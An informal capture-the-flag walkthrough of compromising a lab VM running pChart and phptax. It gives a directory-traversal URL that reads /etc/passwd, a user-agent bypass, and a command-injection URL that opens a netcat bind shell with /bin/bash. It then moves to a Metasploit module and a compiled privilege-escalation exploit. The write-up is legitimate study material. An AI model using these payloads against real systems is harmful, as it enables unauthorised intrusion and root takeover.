ARP
arp-scan -l
ping
ping 192.168.0.25
so the box doesnt want to respond to an ICMP ping
nmap fast scan
nmap -sS -F -PN 192.168.0.25
so the box is alive with a few ports open lets jump into deeper scans to get a better picture
TCP
nmap -sS -A -sC -sV -O -p0- 192.168.0.25 -oA nmap_tcp_full_verOSscript
UDP
nmap -sU -n 192.168.0.25 -oA nmap_udp_def
80 - http
nikto -h 192.168.0.25:80
page source has some juciy info
pChart 2.1.3
http://192.168.0.25/pChart2.1.3/examples/index.php
8080 - http
Using searchsploit we find an exploit that looks usable for pChart
There is a Local File Inclusion vulnerability which looks good to pull out.
passwd file
http://192.168.0.25/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
at this point i was slowly running out of ideas here so did some google fu.
httpd.conf file
At the bottom of the config we see some bits which suggests we need to change our user agent to connect on port 8080
<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2
<Directory "/usr/local/www/apache22/data2">
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>
</VirtualHost>
curl has the ability
curl -H "User-Agent:Mozilla/4.0" http://192.168.0.25:8080
curl -H "User-Agent:Mozilla/4.0" http://192.168.0.25:8080/phptax/
too messy lets look at it in Firefox. curl wasnt the best here
First we change the user agent following the advice below
https://superuser.com/questions/98798/how-do-i-change-firefoxs-user-agent-via-aboutconfig
setting the newly created string variable in Firefox
general.useragent.override
to
Mozilla/4.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0.
http://192.168.0.25:8080/phptax/
looks pretty cool
using searchsploit there appears to be a few exploits we can try
exploit: https://www.exploit-db.com/exploits/21665/
hmmm maybe we can poke the webapp to get a bind shell :O
time to build the URL and give it a go
we point it at pfilez 1040
http://192.168.0.25:8080/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
not sure couldn't get it working sadly so moved on and fired up metasploit
exploit/multi/http/phptax_exec
after setting up and running it we successfully get a shell as user www
after fumbling around in the limited shell and getting information we find a a priv esc exploit
https://www.exploit-db.com/exploits/26368/
netcat was on the machine but was giving me greif. I tried to setup a FTP server but nope.
In the end fetch was available and we was able to move the code over to the box :D
after pulling down the file using gcc to compile it and run
all is well and.......
got root 😎 😎 😎
so lets get the flag
